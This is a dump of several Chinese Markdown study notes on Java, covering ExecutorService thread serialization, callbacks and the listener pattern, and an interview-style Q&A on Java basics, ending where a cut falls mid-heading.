    "path": "docs/android/AndroidNote/JavaNote/Java相关/Java利用ExecutorService实现同步执行大量线程.md",
    "content": ">自从java1.5以后，官网就推出了Executor这样一个类，这个类，可以维护我们的大量线程在操作临界资源时的稳定性。\n\n先上一段代码吧：\n````\nTestRunnable.java\npublic class TestRunnable implements Runnable {\n\tprivate String name;\n\n\tpublic TestRunnable(String name) {\n\t\tthis.name = name;\n\t}\n\n\t@Override\n\tpublic void run() {\n\t\twhile (true) {\n\t\t\tif (Main.Surplus < 0)\n\t\t\t\treturn;\n\t\t\tMain.Surplus--;\n\t\t\tSystem.out.println(name + \"  \" + Main.Surplus);\n\t\t}\n\t}\n}\n````\n\n````\nmain入口\npublic static void main(String[] args) {\n\n\t\t TestRunnable runnable = new TestRunnable(\"runnable1\");\n\t\t TestRunnable runnable2 = new TestRunnable(\"runnable2\");\n\t\t\n\t\t Thread t1 = new Thread(runnable);\n\t\t Thread t2 = new Thread(runnable2);\n\t\t\n\t\t t1.start();\n\t\t t2.start();\n\n\t}\n````\n\n![result](http://upload-images.jianshu.io/upload_images/2585384-b60f973afce827b2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n这样，我们就看到了，数据肯定是乱了的，当然这个时候我们可以加上一个synchronized的关键字，但是这样也会出现点小问题的\n\n![result2](http://upload-images.jianshu.io/upload_images/2585384-3cc19f76464d6831.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n下面我打算采用一种java内置的线程管理的机制，来解决这个问题，解决这个问题的思路大概就是，我们维护了一个线程池，当有请求操作的时候统统进入线程池，并且我们只开了一个线程，可以让请求顺序执行，顺序调用临界资源，就很安全了。\n\n````\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.Future;\n\npublic class Main {\n\tpublic static int Surplus = 10;\n\n\tprivate ExecutorService executor = Executors.newSingleThreadExecutor();\n\n\tvoid addTask(Runnable runnable) {\n\t\texecutor.execute(runnable);\n\t}\n\n\t<V> V addTask(Callable<V> callable) {\n\t\tFuture<V> submit = executor.submit(callable);\n\t\ttry {\n\t\t\treturn submit.get();\n\t\t} catch (InterruptedException e) {\n\t\t\tSystem.out.println(\"InterruptedException\" + e.toString());\n\t\t} catch (ExecutionException e) {\n\t\t\tSystem.out.println(\"ExecutionException\" + e.toString());\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic void testAddTask(String name) {\n\t\taddTask(new Runnable() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tfor (int i = 0; i < 3; i++) {\n\t\t\t\t\tif (Main.Surplus <= 0)\n\t\t\t\t\t\treturn;\n\t\t\t\t\tMain.Surplus--;\n\t\t\t\t\tSystem.out.println(name + \"  \" + Main.Surplus);\n\t\t\t\t}\n\n\t\t\t}\n\t\t});\n\t}\n\n\tpublic void testAddTask2(String name) {\n\t\tint count = addTask(new Callable<Integer>() {\n\t\t\t@Override\n\t\t\tpublic Integer call() throws Exception {\n\t\t\t\tfor (int i = 0; i < 3; i++) {\n\t\t\t\t\tif (Main.Surplus <= 0)\n\t\t\t\t\t\treturn 0;\n\t\t\t\t\tMain.Surplus--;\n\t\t\t\t\tSystem.out.println(name + \"  \" + Main.Surplus);\n\t\t\t\t}\n\t\t\t\treturn Main.Surplus;\n\t\t\t}\n\t\t});\n\n\t}\n\n    public void close() {\n\t\texecutor.shutdown();\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tMain main = new Main();\n\t\tmain.testAddTask(\"task1\");\n\t\tmain.testAddTask2(\"task2\");\n\t\tmain.testAddTask(\"task3\");\n\t\tmain.testAddTask2(\"task4\");\n        main.close();\n\t}\n}\n\n````\n\n在这里，我们定义了两种方法，分别是addTask，具有泛型的addTask，这两种方法实现原理都是一样的，其中一个是有回调的，一个是没有回调的，就看项目需求了吧。\n\n![result3](http://upload-images.jianshu.io/upload_images/2585384-ee988c2286ef99a1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n然后分别调用这两个方法咯，就可以看到结果是非常有序，且不会混乱的。\n\n----\n当然啊，系统为我们提供这样一个类，肯定不是为了实现这么小的一个功能的，它还有很多功能，我也在进一步的学习中~\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/Java利用listener实现回调，即观察者模式.md",
    "content": "> java中实现观察者模式有很多种方式，上一篇文章介绍到了，[利用callback的方式实现了回调](http://www.jianshu.com/p/67190bdce647)，这篇文章准备介绍的是利用listener实现回调。\n\n----\n# Java回调机制\n\n#### 根据实时性划分：\n\n- [同步回调](http://www.jianshu.com/p/67190bdce647)\n- [异步回调](http://www.jianshu.com/p/67190bdce647)\n\n#### 实现方式\n\n* [利用匿名内部类即callbck来实现](http://www.jianshu.com/p/67190bdce647)\n* 用listener来实现\n\n这两种实现方式本质上是类似的，应用场景略有不同，如果有熟知安卓的朋友应该可以知道，在为一个view添加点击实现的时候是有两种方式的\n\n1. 利用callback来实现\n \n````\nview.setOnClickListener(new View.OnClickListener() {\n            @Override public void onClick(View view) {\n                \n            }\n        });\n````\n\n2.实现View.OnClickListener接口\n\n````\npublic class Test extends AppCompatActivity implements View.OnClickListener {\n    private Button button;\n\n    @Override protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        button = (Button) findViewById(R.id.ac_video_btn_getValue);\n        button.setOnClickListener(this);\n    }\n\n    @Override public void onClick(View view) {\n        //TODO\n    }\n}\n\n\n\n````\n\n#### 回调的本质\n\n其实无论哪种方式来实现回调，利用的思想都是观察者模式，即在我们选择订阅之后，当对方做出任何举动的时候会给我们发送一条信息，这样做的好处是省着我们用一个新的线程轮训检测对方的状态，可以节省很多的资源。\n\n#### 应用的场景\n\n- 如果我们需要将信息一层一层的返回去的时候，正如我下面的例子，那么可能用listener更为适合我们，因为我们可以将这个listener进行传递，在需要查看数据的时候进行回调它。或者当我们有很多事件需要回调的时候，可以实现一个listener然后发送不同的信息，进行区分。这样代码看起来会简洁一些，不会像callback一样，会嵌套很多层，也不会写出很多个callback来。\n\n- 如果我们只有一处，或者简单的几处需要回调的话，那么我们完全可以不用实现这个接口，而是用callback的方式来进行处理。\n\n----\n\n还是举一个简单的生活中的例子吧，在公司中有一件事情，老板想要问员工，但是老板只能联系到部门经理，那么便有了，A问B,B问C，C经过思考，回答了B，B又将答案告诉了A，A知道了答案，便高兴的说了出来。\n\n----\n我下面的代码采用了单例模式来写：\n````\nListner.java\n\npublic interface Listener {\n\tvoid onFinish(String msg);\n}\n````\n\n````\nPeople.java\n\npublic class People implements Listener {\n\n\tprivate static People people;\n\n\tprivate People() {\n\n\t}\n\n\tsynchronized public static People getInstance() {\n\t\tif (people == null) {\n\t\t\tpeople = new People();\n\t\t}\n\t\treturn people;\n\t}\n\n\tpublic void askPeople2() {\n\t\tPeople2.getInstance().askPeople3(this);\n\t}\n\n\t@Override\n\tpublic void onFinish(String msg) {\n\t\tSystem.out.println(\"收到的消息是 ---> \" + msg);\n\t}\n\n}\n````\n\n````\nPeople2.java\n\npublic class People2 {\n\n\tprivate static People2 people2;\n\n\tprivate People2() {\n\n\t}\n\n\tsynchronized public static People2 getInstance() {\n\t\tif (people2 == null)\n\t\t\tpeople2 = new People2();\n\t\treturn people2;\n\t}\n\t\n\tpublic void askPeople3(Listener listener){\n\t\tPeople3.getInstance().thinking(listener);\n\t}\n\n}\n````\n\n````\nPeople3.java\n\npublic class People3 {\n\n\tprivate static People3 people3;\n\n\tprivate People3() {\n\n\t}\n\n\tsynchronized public static People3 getInstance() {\n\t\tif (people3 == null)\n\t\t\tpeople3 = new People3();\n\t\treturn people3;\n\t}\n\n\tpublic void thinking(Listener listener3) {\n\t\ttry {\n\t\t\tThread.sleep(2000);\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tlistener3.onFinish(\"我已经思考完毕\");\n\t}\n\n}\n\n````\n\n\n![result](http://upload-images.jianshu.io/upload_images/2585384-74c3bfc1ef9ee2aa.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/Java回调的原理与实现.md",
    "content": "> 回调原本应该是一个非常简单的概念，但是可能因为平时只用系统为我们写好的回调的接口了，自己很少实现回调，所以在自己实现回调的时候还是有一点点晕的，现在写这篇文章记录一下，也和大家分享一下怎么写回调接口。\n\n##回调\n回调的概念：举个例子就是，我们想要问别人一道题，我们把题跟对方说了一下，对方说好，等我做完这道题，我就告诉你，这个时候就用到了回调，因为我们并不知道对方什么时候会做完，而是对方做完了来主动找我们。\n  ####同步回调\n  代码运行到某一个位置的时候，如果遇到了需要回调的代码，会在这里等待，等待回调结果返回后再继续执行。\n  ####异步回调\n代码执行到需要回调的代码的时候，并不会停下来，而是继续执行，当然可能过一会回调的结果会返回回来。\n\n\n----\n###具体代码：\n\n[代码链接](https://github.com/linsir6/TestCallback)\n\n总体的代码还是很简单的，就是模拟了一个打印机，还有一个人，打印机具有打印的功能，但是打印需要时间，不能在收到任务的同时给出反馈，需要等待一段时间才能给出反馈。这个人想做的就是打印一份简历，然后知道打印的结果。这里面代码实现了这两种方式。\n\n````\nCallback.java\n\npublic interface Callback {\n\tvoid printFinished(String msg);\n}\n\n````\n\n````\nPrinter.java\n\npublic class Printer {\n\tpublic void print(Callback callback, String text) {\n\t\tSystem.out.println(\"正在打印 . . . \");\n\t\ttry {\n\t\t\tThread.currentThread();\n\t\t\tThread.sleep(3000);// 毫秒\n\t\t} catch (Exception e) {\n\t\t}\n\t\tcallback.printFinished(\"打印完成\");\n\t}\n}\n````\n\n````\nPeople.java\n\npublic class People {\n\n\tPrinter printer = new Printer();\n\n\t/*\n\t * 同步回调\n\t */\n\tpublic void goToPrintSyn(Callback callback, String text) {\n\t\tprinter.print(callback, text);\n\t}\n\n\t/*\n\t * 异步回调\n\t */\n\tpublic void goToPrintASyn(Callback callback, String text) {\n\t\tnew Thread(new Runnable() {\n\t\t\tpublic void run() {\n\t\t\t\tprinter.print(callback, text);\n\t\t\t}\n\t\t}).start();\n\t}\n}\n````\n\n````\nMain.java\n\npublic class Main {//测试类，同步回调\n\tpublic static void main(String[] args) {\n\t\tPeople people = new People();\n\t\tCallback callback = new Callback() {\n\t\t\t@Override\n\t\t\tpublic void printFinished(String msg) {\n\t\t\t\tSystem.out.println(\"打印机告诉我的消息是 ---> \" + msg);\n\t\t\t}\n\t\t};\n\t\tSystem.out.println(\"需要打印的内容是 ---> \" + \"打印一份简历\");\n\t\tpeople.goToPrintSyn(callback, \"打印一份简历\");\n\t\tSystem.out.println(\"我在等待 打印机 给我反馈\");\n\t}\n}\n````\n\n\n![同步回调](http://upload-images.jianshu.io/upload_images/2585384-38d968042a37386f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n````\nMain.java\n\npublic class Main {//异步回调\n\tpublic static void main(String[] args) {\n\t\tPeople people = new People();\n\t\tCallback callback = new Callback() {\n\t\t\t@Override\n\t\t\tpublic void printFinished(String msg) {\n\t\t\t\tSystem.out.println(\"打印机告诉我的消息是 ---> \" + msg);\n\t\t\t}\n\t\t};\n\t\tSystem.out.println(\"需要打印的内容是 ---> \" + \"打印一份简历\");\n\t\tpeople.goToPrintASyn(callback, \"打印一份简历\");\n\t\tSystem.out.println(\"我在等待 打印机 给我反馈\");\n\t}\n}\n````\n\n\n![异步回调](http://upload-images.jianshu.io/upload_images/2585384-2b0788ad5d711c05.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/Java相关/Java基础知识.md",
    "content": "# J2SE\n---\n\n## 基础\n---\n**八种基本数据类型的大小，以及他们的封装类。**\n\n八种基本数据类型，int ,double ,long ,float, short,byte,character,boolean\n\n对应的封装类型是：Integer ,Double ,Long ,Float, Short,Byte,Character,Boolean\n\n---\n\n**Switch能否用string做参数？**\n\n在Java 5以前，switch(expr)中，expr只能是byte、short、char、int。从Java 5开始，Java中引入了枚举类型，expr也可以是enum类型，从Java 7开始，expr还可以是字符串（String），但是长整型（long）在目前所有的版本中都是不可以的。\n\n---\n\n**equals与==的区别。**\n\n[http://www.importnew.com/6804.html](http://www.importnew.com/6804.html)\n> ==与equals的主要区别是：==常用于比较原生类型，而equals()方法用于检查对象的相等性。另一个不同的点是：如果==和equals()用于比较对象，当两个引用地址相同，==返回true。而equals()可以返回true或者false主要取决于重写实现。最常见的一个例子，字符串的比较，不同情况==和equals()返回不同的结果。equals()方法最重要的一点是，能够根据业务要求去重写，按照自定义规则去判断两个对象是否相等。重写equals()方法的时候，要注意一下hashCode是否会因为对象的属性改变而改变，否则在使用散列集合储存该对象的时候会碰到坑！！理解equals()方法的存在是很重要的。\n\n1. 使用==比较有两种情况：\n\n        比较基础数据类型(Java中基础数据类型包括八中：short,int,long,float,double,char,byte,boolen)：这种情况下，==比较的是他们的值是否相等。\n        引用间的比较：在这种情况下，==比较的是他们在内存中的地址，也就是说，除非引用指向的是同一个new出来的对象，此时他们使用`==`去比较得到true，否则，得到false。\n2. 使用equals进行比较：\n    \n        equals追根溯源，是Object类中的一个方法，在该类中，equals的实现也仅仅只是比较两个对象的内存地址是否相等，但在一些子类中，如：String、Integer 等，该方法将被重写。\n\n3. 以`String`类为例子说明`eqauls`与`==`的区别：\n> 在开始这个例子之前，同学们需要知道JVM处理String的一些特性。*Java的虚拟机在内存中开辟出一块单独的区域，用来存储字符串对象，这块内存区域被称为字符串缓冲池。*当使用\n`String a = \"abc\"`这样的语句进行定义一个引用的时候，首先会在*字符串缓冲池*中查找是否已经相同的对象，如果存在，那么就直接将这个对象的引用返回给a，如果不存在，则需要新建一个值为\"abc\"的对象，再将新的引用返回a。`String a = new String(\"abc\");`这样的语句明确告诉JVM想要产生一个新的String对象，并且值为\"abc\"，于是就*在堆内存中的某一个小角落开辟了一个新的String对象*。\n\n    - `==`在比较引用的情况下，会去比较两个引用的内存地址是否相等。\n    ```\n        String str1 = \"abc\";\n        String str2 = \"abc\";\n        \n        System.out.println(str1 == str2);\n        System.out.println(str1.equals(str2));\n        \n        String str2 = new String(\"abc\");\n        System.out.println(str1 == str2);\n        System.out.println(str1.equals(str2));\n        \n    ```\n        以上代码将会输出\n        true\n        true\n        false\n        true\n        **第一个true：**因为在str2赋值之前，str1的赋值操作就已经在内存中创建了一个值为\"abc\"的对象了，然后str2将会与str1指向相同的地址。\n        **第二个true：**因为`String`已经重写了`equals`方法：为了方便大家阅读我贴出来，并且在注释用进行分析：\n        ```\n        public boolean equals(Object anObject) {\n        //如果比较的对象与自身内存地址相等的话\n        //就说明他两指向的是同一个对象\n        //所以此时equals的返回值跟==的结果是一样的。\n        if (this == anObject) {\n            return true;\n        }\n        //当比较的对象与自身的内存地址不相等，并且\n        //比较的对象是String类型的时候\n        //将会执行这个分支\n        if (anObject instanceof String) {\n            String anotherString = (String)anObject;\n            int n = value.length;\n            if (n == anotherString.value.length) {\n                char v1[] = value;\n                char v2[] = anotherString.value;\n                int i = 0;\n                //在这里循环遍历两个String中的char\n                while (n-- != 0) {\n                    //只要有一个不相等，那么就会返回false\n                    if (v1[i] != v2[i])\n                        return false;\n                    i++;\n                }\n                return true;\n            }\n        }\n        return false;\n    }\n        ```\n        进行以上分析之后，就不难理解第一段代码中的实例程序输出了。\n\n\n\n---\n\n**Object有哪些公用方法？**\n\n[http://www.cnblogs.com/yumo/p/4908315.html](http://www.cnblogs.com/yumo/p/4908315.html)\n\n1．clone方法\n\n保护方法，实现对象的浅复制，只有实现了Cloneable接口才可以调用该方法，否则抛出CloneNotSupportedException异常。\n\n主要是JAVA里除了8种基本类型传参数是值传递，其他的类对象传参数都是引用传递，我们有时候不希望在方法里讲参数改变，这是就需要在类中复写clone方法。\n\n2．getClass方法\n\nfinal方法，获得运行时类型。\n\n3．toString方法\n\n该方法用得比较多，一般子类都有覆盖。\n\n4．finalize方法\n\n该方法用于释放资源。因为无法确定该方法什么时候被调用，很少使用。\n\n5．equals方法\n\n该方法是非常重要的一个方法。一般equals和==是不一样的，但是在Object中两者是一样的。子类一般都要重写这个方法。\n\n6．hashCode方法\n\n该方法用于哈希查找，可以减少在查找中使用equals的次数，重写了equals方法一般都要重写hashCode方法。这个方法在一些具有哈希功能的Collection中用到。\n\n一般必须满足obj1.equals(obj2)==true。可以推出obj1.hashCode()==obj2.hashCode()，但是hashCode相等不一定就满足equals。不过为了提高效率，应该尽量使上面两个条件接近等价。\n\n如果不重写hashCode(),在HashSet中添加两个equals的对象，会将两个对象都加入进去。\n\n7．wait方法\n\nwait方法就是使当前线程等待该对象的锁，当前线程必须是该对象的拥有者，也就是具有该对象的锁。wait()方法一直等待，直到获得锁或者被中断。wait(long timeout)设定一个超时间隔，如果在规定时间内没有获得锁就返回。\n\n调用该方法后当前线程进入睡眠状态，直到以下事件发生。\n\n（1）其他线程调用了该对象的notify方法。\n\n（2）其他线程调用了该对象的notifyAll方法。\n\n（3）其他线程调用了interrupt中断该线程。\n\n（4）时间间隔到了。\n\n此时该线程就可以被调度了，如果是被中断的话就抛出一个InterruptedException异常。\n\n8．notify方法\n\n该方法唤醒在该对象上等待的某个线程。\n\n9．notifyAll方法\n\n该方法唤醒在该对象上等待的所有线程。\n\n---\n\n**Java的四种引用，强弱软虚，用到的场景。**\n\nJDK1.2之前只有强引用,其他几种引用都是在JDK1.2之后引入的.\n\n* 强引用（Strong Reference）\n\t最常用的引用类型，如Object obj = new Object(); 。只要强引用存在则GC时则必定不被回收。\n\t\n* 软引用（Soft Reference）\n\t用于描述还有用但非必须的对象，当堆将发生OOM（Out Of Memory）时则会回收软引用所指向的内存空间，若回收后依然空间不足才会抛出OOM。一般用于实现内存敏感的高速缓存。\n当真正对象被标记finalizable以及的finalize()方法调用之后并且内存已经清理, 那么如果SoftReference object还存在就被加入到它的 ReferenceQueue.只有前面几步完成后,Soft Reference和Weak Reference的get方法才会返回null\n\n* 弱引用（Weak Reference）\n\t发生GC时必定回收弱引用指向的内存空间。\n和软引用加入队列的时机相同\n\n* 虚引用（Phantom Reference)\n又称为幽灵引用或幻影引用，虚引用既不会影响对象的生命周期，也无法通过虚引用来获取对象实例，仅用于在发生GC时接收一个系统通知。\n当一个对象的finalize方法已经被调用了之后，这个对象的幽灵引用会被加入到队列中。通过检查该队列里面的内容就知道一个对象是不是已经准备要被回收了.\n虚引用和软引用和弱引用都不同,它会在内存没有清理的时候被加入引用队列.虚引用的建立必须要传入引用队列,其他可以没有\n\n---\n\n**Hashcode的作用。**\n\n[http://c610367182.iteye.com/blog/1930676](http://c610367182.iteye.com/blog/1930676)\n\n以Java.lang.Object来理解,JVM每new一个Object,它都会将这个Object丢到一个Hash哈希表中去,这样的话,下次做Object的比较或者取这个对象的时候,它会根据对象的hashcode再从Hash表中取这个对象。这样做的目的是提高取对象的效率。具体过程是这样: \n\n1. new Object(),JVM根据这个对象的Hashcode值,放入到对应的Hash表对应的Key上,如果不同的对象确产生了相同的hash值,也就是发生了Hash key相同导致冲突的情况,那么就在这个Hash key的地方产生一个链表,将所有产生相同hashcode的对象放到这个单链表上去,串在一起。 \n\n\n2. 比较两个对象的时候,首先根据他们的hashcode去hash表中找他的对象,当两个对象的hashcode相同,那么就是说他们这两个对象放在Hash表中的同一个key上,那么他们一定在这个key上的链表上。那么此时就只能根据Object的equal方法来比较这个对象是否equal。当两个对象的hashcode不同的话，肯定他们不能equal. \n\n---\n\n\n**String、StringBuffer与StringBuilder的区别。**\n\nJava 平台提供了两种类型的字符串：String和StringBuffer / StringBuilder，它们可以储存和操作字符串。其中String是只读字符串，也就意味着String引用的字符串内容是不能被改变的。而StringBuffer和StringBulder类表示的字符串对象可以直接进行修改。StringBuilder是JDK1.5引入的，它和StringBuffer的方法完全相同，区别在于它是单线程环境下使用的，因为它的所有方面都没有被synchronized修饰，因此它的效率也比StringBuffer略高。\n\n---\n\n**try catch finally，try里有return，finally还执行么？**\n\n会执行，在方法 返回调用者前执行。Java允许在finally中改变返回值的做法是不好的，因为如果存在finally代码块，try中的return语句不会立马返回调用者，而是纪录下返回值待finally代码块执行完毕之后再向调用者返回其值，然后如果在finally中修改了返回值，这会对程序造成很大的困扰，C#中就从语法规定不能做这样的事。\n\n---\n\n**Excption与Error区别**\n\nError表示系统级的错误和程序不必处理的异常，是恢复不是不可能但很困难的情况下的一种严重问题；比如内存溢出，不可能指望程序能处理这样的状况；Exception表示需要捕捉或者需要程序进行处理的异常，是一种设计或实现问题；也就是说，它表示如果程序运行正常，从不会发生的情况。\n\n---\n\n**Excption与Error包结构。OOM你遇到过哪些情况，SOF你遇到过哪些情况。**\n\n[http://www.cnblogs.com/yumo/p/4909617.html](http://www.cnblogs.com/yumo/p/4909617.html)\n\nJava异常架构图\n\n![](http://images2015.cnblogs.com/blog/679904/201510/679904-20151025210813989-921927916.jpg)\n\n\n1. Throwable \nThrowable是 Java 语言中所有错误或异常的超类。 \nThrowable包含两个子类: Error 和 Exception 。它们通常用于指示发生了异常情况。 \nThrowable包含了其线程创建时线程执行堆栈的快照，它提供了printStackTrace()等接口用于获取堆栈跟踪数据等信息。\n\n2. Exception \nException及其子类是 Throwable 的一种形式，它指出了合理的应用程序想要捕获的条件。\n\n3. RuntimeException \nRuntimeException是那些可能在 Java 虚拟机正常运行期间抛出的异常的超类。 \n编译器不会检查RuntimeException异常。 例如，除数为零时，抛出ArithmeticException异常。RuntimeException是ArithmeticException的超类。当代码发生除数为零的情况时，倘若既\"没有通过throws声明抛出ArithmeticException异常\"，也\"没有通过try...catch...处理该异常\"，也能通过编译。这就是我们所说的\"编译器不会检查RuntimeException异常\"！ \n如果代码会产生RuntimeException异常，则需要通过修改代码进行避免。 例如，若会发生除数为零的情况，则需要通过代码避免该情况的发生！\n\n4. Error \n和Exception一样， Error也是Throwable的子类。 它用于指示合理的应用程序不应该试图捕获的严重问题，大多数这样的错误都是异常条件。 \n和RuntimeException一样， 编译器也不会检查Error。\n\nJava将可抛出(Throwable)的结构分为三种类型： 被检查的异常(Checked Exception)，运行时异常(RuntimeException)和错误(Error)。\n\n(01) 运行时异常 \n定义 : RuntimeException及其子类都被称为运行时异常。 \n特点 : Java编译器不会检查它。 也就是说，当程序中可能出现这类异常时，倘若既\"没有通过throws声明抛出它\"，也\"没有用try-catch语句捕获它\"，还是会编译通过。例如，除数为零时产生的ArithmeticException异常，数组越界时产生的IndexOutOfBoundsException异常，fail-fail机制产生的ConcurrentModificationException异常等，都属于运行时异常。 \n虽然Java编译器不会检查运行时异常，但是我们也可以通过throws进行声明抛出，也可以通过try-catch对它进行捕获处理。 \n如果产生运行时异常，则需要通过修改代码来进行避免。 例如，若会发生除数为零的情况，则需要通过代码避免该情况的发生！\n\n(02) 被检查的异常 \n定义 :  Exception类本身，以及Exception的子类中除了\"运行时异常\"之外的其它子类都属于被检查异常。 \n特点 : Java编译器会检查它。 此类异常，要么通过throws进行声明抛出，要么通过try-catch进行捕获处理，否则不能通过编译。例如，CloneNotSupportedException就属于被检查异常。当通过clone()接口去克隆一个对象，而该对象对应的类没有实现Cloneable接口，就会抛出CloneNotSupportedException异常。 \n被检查异常通常都是可以恢复的。\n\n(03) 错误 \n定义 : Error类及其子类。 \n特点 : 和运行时异常一样，编译器也不会对错误进行检查。 \n当资源不足、约束失败、或是其它程序无法继续运行的条件发生时，就产生错误。程序本身无法修复这些错误的。例如，VirtualMachineError就属于错误。 \n按照Java惯例，我们是不应该是实现任何新的Error子类的！\n\n对于上面的3种结构，我们在抛出异常或错误时，到底该哪一种？《Effective Java》中给出的建议是： 对于可以恢复的条件使用被检查异常，对于程序错误使用运行时异常。\n\n---\n\n**OOM：**\n\n1. OutOfMemoryError异常\n\n\t除了程序计数器外，虚拟机内存的其他几个运行时区域都有发生OutOfMemoryError(OOM)异常的可能，\n\n\tJava Heap 溢出\n\n\t一般的异常信息：java.lang.OutOfMemoryError:Java heap spacess\n\n\tjava堆用于存储对象实例，我们只要不断的创建对象，并且保证GC Roots到对象之间有可达路径来避免垃圾回收机制清除这些对象，就会在对象数量达到最大堆容量限制后产生内存溢出异常。\n\n\t出现这种异常，一般手段是先通过内存映像分析工具(如Eclipse Memory Analyzer)对dump出来的堆转存快照进行分析，重点是确认内存中的对象是否是必要的，先分清是因为内存泄漏(Memory Leak)还是内存溢出(Memory Overflow)。\n\n\t如果是内存泄漏，可进一步通过工具查看泄漏对象到GC Roots的引用链。于是就能找到泄漏对象时通过怎样的路径与GC Roots相关联并导致垃圾收集器无法自动回收。\n\n\t如果不存在泄漏，那就应该检查虚拟机的参数(-Xmx与-Xms)的设置是否适当。\n\n2. 虚拟机栈和本地方法栈溢出\n\n\t如果线程请求的栈深度大于虚拟机所允许的最大深度，将抛出StackOverflowError异常。\n\n\t如果虚拟机在扩展栈时无法申请到足够的内存空间，则抛出OutOfMemoryError异常\n\n\t这里需要注意当栈的大小越大可分配的线程数就越少。\n\n3. 运行时常量池溢出\n\n\t异常信息：java.lang.OutOfMemoryError:PermGen space\n\n\t如果要向运行时常量池中添加内容，最简单的做法就是使用String.intern()这个Native方法。该方法的作用是：如果池中已经包含一个等于此String的字符串，则返回代表池中这个字符串的String对象；否则，将此String对象包含的字符串添加到常量池中，并且返回此String对象的引用。由于常量池分配在方法区内，我们可以通过-XX:PermSize和-XX:MaxPermSize限制方法区的大小，从而间接限制其中常量池的容量。\n\n4. 方法区溢出\n\n\t方法区用于存放Class的相关信息，如类名、访问修饰符、常量池、字段描述、方法描述等。\n\n\t异常信息：java.lang.OutOfMemoryError:PermGen space\n\n\t方法区溢出也是一种常见的内存溢出异常，一个类如果要被垃圾收集器回收，判定条件是很苛刻的。在经常动态生成大量Class的应用中，要特别注意这点。\n\n---\n\n**Java面向对象的三个特征与含义。**\n\n继承：继承是从已有类得到继承信息创建新类的过程。提供继承信息的类被称为父类（超类、基类）；得到继承信息的类被称为子类（派生类）。继承让变化中的软件系统有了一定的延续性，同时继承也是封装程序中可变因素的重要手段。\n\n封装：通常认为封装是把数据和操作数据的方法绑定起来，对数据的访问只能通过已定义的接口。面向对象的本质就是将现实世界描绘成一系列完全自治、封闭的对象。我们在类中编写的方法就是对实现细节的一种封装；我们编写一个类就是对数据和数据操作的封装。可以说，封装就是隐藏一切可隐藏的东西，只向外界提供最简单的编程接口（可以想想普通洗衣机和全自动洗衣机的差别，明显全自动洗衣机封装更好因此操作起来更简单；我们现在使用的智能手机也是封装得足够好的，因为几个按键就搞定了所有的事情）。\n\n多态：多态性是指允许不同子类型的对象对同一消息作出不同的响应。简单的说就是用同样的对象引用调用同样的方法但是做了不同的事情。多态性分为编译时的多态性和运行时的多态性。如果将对象的方法视为对象向外界提供的服务，那么运行时的多态性可以解释为：当A系统访问B系统提供的服务时，B系统有多种提供服务的方式，但一切对A系统来说都是透明的（就像电动剃须刀是A系统，它的供电系统是B系统，B系统可以使用电池供电或者用交流电，甚至还有可能是太阳能，A系统只会通过B类对象调用供电的方法，但并不知道供电系统的底层实现是什么，究竟通过何种方式获得了动力）。方法重载（overload）实现的是编译时的多态性（也称为前绑定），而方法重写（override）实现的是运行时的多态性（也称为后绑定）。运行时的多态是面向对象最精髓的东西，要实现多态需要做两件事：1. 方法重写（子类继承父类并重写父类中已有的或抽象的方法）；2. 对象造型（用父类型引用引用子类型对象，这样同样的引用调用同样的方法就会根据子类对象的不同而表现出不同的行为）。\n \n---\n\n\n**Override和Overload的含义与区别。**\n\nOverload：顾名思义，就是Over(重新)——load（加载），所以中文名称是重载。它可以表现类的多态性，可以是函数里面可以有相同的函数名但是参数名、类型不能相同；或者说可以改变参数、类型但是函数名字依然不变。\n\nOverride：就是ride(重写)的意思，在子类继承父类的时候子类中可以定义某方法与其父类有相同的名称和参数，当子类在调用这一函数时自动调用子类的方法，而父类相当于被覆盖（重写）了。\n\n方法的重写Overriding和重载Overloading是Java多态性的不同表现。重写Overriding是父类与子类之间多态性的一种表现，重载Overloading是一个类中多态性的一种表现。如果在子类中定义某方法与其父类有相同的名称和参数，我们说该方法被重写 (Overriding)。子类的对象使用这个方法时，将调用子类中的定义，对它而言，父类中的定义如同被“屏蔽”了。如果在一个类中定义了多个同名的方法，它们或有不同的参数个数或有不同的参数类型，则称为方法的重载(Overloading)。Overloaded的方法是可以改变返回值的类型。\n\n---\n\n**Interface与abstract类的区别。**\n\n抽象类和接口都不能够实例化，但可以定义抽象类和接口类型的引用。一个类如果继承了某个抽象类或者实现了某个接口都需要对其中的抽象方法全部进行实现，否则该类仍然需要被声明为抽象类。接口比抽象类更加抽象，因为抽象类中可以定义构造器，可以有抽象方法和具体方法，而接口中不能定义构造器而且其中的方法全部都是抽象方法。抽象类中的成员可以是private、默认、protected、public的，而接口中的成员全都是public的。抽象类中可以定义成员变量，而接口中定义的成员变量实际上都是常量。有抽象方法的类必须被声明为抽象类，而抽象类未必要有抽象方法。\n\n---\n\n**Static class 与non static 